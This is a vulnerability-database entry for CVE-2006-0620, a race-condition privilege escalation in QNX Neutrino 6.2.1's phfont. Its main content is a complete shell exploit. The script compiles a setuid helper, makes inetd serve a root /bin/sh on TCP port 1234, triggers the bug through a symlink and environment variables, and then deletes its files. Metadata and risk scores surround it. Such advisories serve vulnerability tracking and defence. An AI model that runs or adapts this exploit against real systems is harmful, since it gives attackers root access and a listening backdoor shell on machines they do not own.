QNX Neutrino 6.2.1 - 'phfont' Race Condition Privilege Escalation
| Reporter | Title | Published | Views | Family All 5 |
|---|---|---|---|---|
 | CVE-2006-0620 | 9 Feb 200602:00 | – | cve |
 | CVE-2006-0620 | 9 Feb 200602:00 | – | cvelist |
 | EUVD-2006-0627 | 7 Oct 202500:30 | – | euvd |
 | CVE-2006-0620 | 9 Feb 200602:02 | – | nvd |
 | Race condition | 9 Feb 200602:02 | – | prion |
#!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723 30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root /bin/sh sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
}
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*
# milw0rm.com [2006-02-08]Data
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08 Feb 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.2
EPSS0.00802